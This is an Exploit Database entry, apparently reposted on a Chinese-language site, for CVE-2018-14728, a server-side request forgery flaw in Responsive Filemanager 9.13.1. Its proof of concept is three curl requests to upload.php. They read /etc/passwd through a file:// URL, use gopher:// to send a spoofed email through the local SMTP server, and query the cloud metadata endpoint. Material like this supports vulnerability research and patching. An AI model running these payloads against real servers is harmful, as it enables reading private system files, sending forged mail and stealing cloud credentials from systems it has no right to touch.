Responsive Filemanager 9.13.1 – Server-Side Request Forgery

• Exploit Database
• 15 阅读

• 作者： GUIA BRAHIM FOUAD
  日期： 2018-07-30
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45103/

• # Exploit Title: Responsive filemanager 9.13.1 - Server-Side Request Forgery
  # Date: 2018-07-29
  # Exploit Author: GUIA BRAHIM FOUAD
  # Vendor Homepage: http://responsivefilemanager.com/
  # Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.13.1/responsive_filemanager.zip
  # Version: 9.13.1
  # Tested on: responsive filemanager version: 9.13.1, php version: 7.0
  # CVE : CVE-2018-14728
  
  # PoC
  curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=file:///etc/passwd'
  curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
  curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=http://169.254.169.254/openstack'